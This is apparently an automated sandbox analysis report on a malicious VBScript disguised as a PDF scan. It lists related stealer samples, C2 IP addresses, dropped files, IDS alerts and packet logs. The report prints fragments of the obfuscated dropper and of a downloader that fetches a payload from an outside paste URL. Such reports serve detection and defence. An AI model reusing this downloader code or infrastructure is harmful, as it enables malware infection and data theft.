	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78 149.154.167.220
	AdobePDQ5.6.1.msi	Get hash	malicious	Unknown	Browse	142.215.209.78 149.154.167.220
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	BlackLizard3_crypted_LAB.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul55bl/Z:NllU
MD5:	D3B86703AAED73DD3EC0A467E8E94A75
SHA1:	0F4F7B2D253B1E5317E0523C584323EFE648AFCC
SHA-256:	B3FA547E57A764C37C994F3A72929E499C8AAEDA177BDBACD9E7F3C8A34348E1
SHA-512:	D358B7BAFDC693B4B7BA03638A67A5D27F3C3C3C222DDC015A0BCA3383510AF3AAB54D088EC6BF995580C3EA3B68AC78A11AE4360486886BA4DAEB2C631FA941
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dohy0pyo.e2x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eczotcty.5cx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fh03muxy.bkk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oe1rt3bx.dr4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (363), with CRLF line terminators
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	3.6247890472114843
Encrypted:	false
SSDEEP:	24:QWcg9whMOnM9M9MRMzMGPMGPMRMbqMwM9MCMvMCMCMGPMNMGPMlMmPMThMGbjM++:jL9cVnssAOVPVPAAqhsnqnnVPcVP01PB
MD5:	3CC8A019DAA8E623719FF9741DE015A0
SHA1:	16E2932236FB74F7009F7B817F070EDA4363BA1A
SHA-256:	A79F475D99A3E9115369FA349CFEA634600B82077007C29C3016588B10FF7091
SHA-512:	CB639E0BD891B32BAB301BCF8537CBF5BBE06E22098C8C3CFECA13EDC06053F63C47BE551E1A7D651F842E65AF27F2A907C9670D255E98DB15576227D2250D61
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VBS_Downloader_Generic, Description: Yara detected VBS Downloader Generic, Source: C:\Users\user\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs, Author: Joe Security
Preview:	..D.i.m. .l.o.u.s.e.i.r.a.,. .d.i.s.t.r.i.c.t.o.,. .r.o.t.i.m.....S.e.t. .l.o.u.s.e.i.r.a. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P...6...0.".).....d.i.s.t.r.i.c.t.o. .=. .".S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.".....r.o.t.i.m. .=. .".h.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.t.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.t.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.p.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.:.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T./.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T./.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.p.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.a.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.s.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.t.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.e.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T...S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.e.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.e.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T./.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.d.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T./.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.L.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.O.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.T.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.o.S.U.Q.P.N.H.D.C.L.X.I.W.R.G.T.W.".........D.o. .W.h.i.l.e. .I.n.S.

Static File Info

General

File type:	ASCII text, with very long lines (1272), with CRLF line terminators
Entropy (8bit):	5.375168778317332
TrID:	Visual Basic Script (13500/0) 93.10% ZLIB compressed file (1001/1) 6.90%
File name:	Scan12112024,pdf.vbs
File size:	12'165 bytes
MD5:	3f17db10010a4ce43a4f0429179c9f55
SHA1:	0a562aa4ba586163f1016b68e028a77bce000490
SHA256:	025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
SHA512:	091d320806d48cf57e00ae906756a351405335d594783f3672746f741ca2f650b097c2a5b8970899d8519b6fd4c7331c9296a815c7c481b7257ef39ae92de004
SSDEEP:	192:8ZRtanUEczOg4ya+7ZKQGd6csBGXSqKRq5O09NhN:y0nUcL6LK
TLSH:	1C42BDC76F5CA6FCD70EF65C424D2C2759E88568203ED84FA79B0C96947DC182363AB1
File Content Preview:	xfSrZjRajbgUGPTNVt ..cREateOBJECT(vzpVtLAUPEJjOvqqze(zyfJZGdTAeTdtxgAGj("V3ZTdkN2cnZJdlB2VHYudlN2SHZldkx2THY="))).EXPANDEnvIROnmeNtStRINgs(vzpVtLAUPEJjOvqqze(zyfJZGdTAeTdtxgAGj("JXp0ekV6TXpweiV6"))) ..& ..vzpVtLAUPEJjOvqqze(zyfJZGdTAeTdtxgAGj("XEliSUpJWUl

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T08:05:47.747037+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	141.98.10.88	80	192.168.2.7	49798	TCP
2024-11-12T08:05:54.862778+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	188.114.97.3	443	TCP
2024-11-12T08:06:05.081146+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.215.209.78	443	192.168.2.7	49702	TCP
2024-11-12T08:06:10.713238+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.7	49738	TCP
2024-11-12T08:06:23.852518+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49810	132.226.8.169	80	TCP
2024-11-12T08:06:26.977566+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49810	132.226.8.169	80	TCP
2024-11-12T08:06:27.678983+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49834	188.114.97.3	443	TCP
2024-11-12T08:06:28.696339+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49840	132.226.8.169	80	TCP
2024-11-12T08:06:30.696344+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49852	132.226.8.169	80	TCP
2024-11-12T08:06:36.170446+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49887	188.114.97.3	443	TCP
2024-11-12T08:06:50.486130+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.7	49967	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 08:05:53.534550905 CET	49700	80	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:53.539587975 CET	80	49700	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:53.539685011 CET	49700	80	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:53.539895058 CET	49700	80	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:53.544663906 CET	80	49700	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.229721069 CET	80	49700	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.231697083 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.231699944 CET	49700	80	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.231734037 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.231869936 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.236943960 CET	80	49700	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.237062931 CET	49700	80	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.239795923 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.239810944 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.862658978 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.862777948 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.866550922 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.866556883 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.866846085 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:54.914724112 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.916276932 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:54.959333897 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.213382006 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.213460922 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.213491917 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.213534117 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.213567019 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.213609934 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.246943951 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.247009039 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.247064114 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.247086048 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.289735079 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.473795891 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474066019 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474157095 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474169016 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474186897 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474211931 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474236012 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474471092 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474509954 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474523067 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474534035 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474566936 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474580050 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474584103 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474622965 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474626064 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474634886 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.474675894 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.474680901 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484440088 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484469891 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484496117 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.484503984 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484554052 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.484559059 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484910965 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484941006 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.484970093 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.484976053 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.485018969 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.527012110 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.527070999 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.527828932 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.527853966 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.577284098 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.577394009 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.577410936 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603605032 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603642941 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603682995 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603687048 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.603697062 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603735924 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.603765011 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.603825092 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.603831053 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.646615982 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.646703005 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.646713018 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.695965052 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.695974112 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.722445011 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.722484112 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.722503901 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.722623110 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.722623110 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.722632885 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.765374899 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.765410900 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.765475035 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.765501022 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.767913103 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.841295004 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.841309071 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.841384888 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.841398001 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.841412067 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.841442108 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.841468096 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.842494965 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.842502117 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.842550993 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.884351969 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.884358883 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.884428024 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.960364103 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.960374117 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.960412025 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.960431099 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.960443974 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:55.960599899 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:55.960599899 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.003298998 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.003344059 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.003385067 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.003396988 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.003428936 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.003449917 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.003500938 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.003549099 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.079443932 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.079504967 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.079541922 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.079550982 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.079579115 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.079597950 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.122245073 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.122340918 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.122498989 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.122559071 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.198446035 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.198501110 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.198534012 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.198560953 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.198573112 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.198601007 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241413116 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.241519928 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241533995 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.241564035 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.241590977 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241610050 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241669893 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.241822958 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.241867065 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241976976 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.241998911 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:56.242010117 CET	49701	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:05:56.242016077 CET	443	49701	188.114.97.3	192.168.2.7
Nov 12, 2024 08:05:58.766513109 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:58.766547918 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:58.766633034 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:58.775291920 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:58.775305986 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.648175955 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.648297071 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.651205063 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.651215076 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.651460886 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.665690899 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.707350969 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.835011005 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.835030079 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.835165024 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.835175991 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.835216999 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.836095095 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.836105108 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.836186886 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.836194992 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.883519888 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.953886986 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.953901052 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.954029083 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.954042912 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.954668999 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:05:59.954771996 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:05:59.954785109 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.008526087 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.072372913 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.072387934 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.072418928 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.072612047 CET	49702	443	192.168.2.7	142.215.209.78
